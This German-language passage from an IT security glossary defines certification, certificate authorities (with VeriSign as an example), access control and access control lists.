Definition ist diese: Die Zertifizierung eines Menschen, der erfolgreich bestimmte Kurse absolviert hat,
die ihn auf einem bestimmten Gebiet qualifizieren (z.B. die Zertifizierung als Novell Network
Engineer).
Zertifizierungsstelle (Certificate Authority) - Vertrauenswürdige, unabhängige Unternehmen, die
Sicherheitszertifikate erteilen und deren Authentizität sicherstellen. Die wahrscheinlich bekannteste
kommerzielle Zertifizierungsstelle ist VeriSign, die u.a. Zertifikate für Microsoft-kompatible ActiveX-
Komponenten oder Echtheitszertifikate von SSL-Schlüsseln, beispielsweise für einen Webserver,
ausstellt.
Zugriffskontrolle - Jedes Mittel, Gerät oder jede Technik, die es einem Administrator ermöglicht,
bestimmten Benutzern den Zugriff auf eine bestimmte Ressource zu verweigern oder zu gewähren, sei
es auf eine Datei, ein Verzeichnis, ein Teilnetz, ein Netzwerk oder einen Server.
Zugriffskontrolliste (ACL - Access Control List) - Eine Liste, in der Informationen über Benutzer und
die Ressourcen gespeichert sind, auf die diese zugreifen dürfen.
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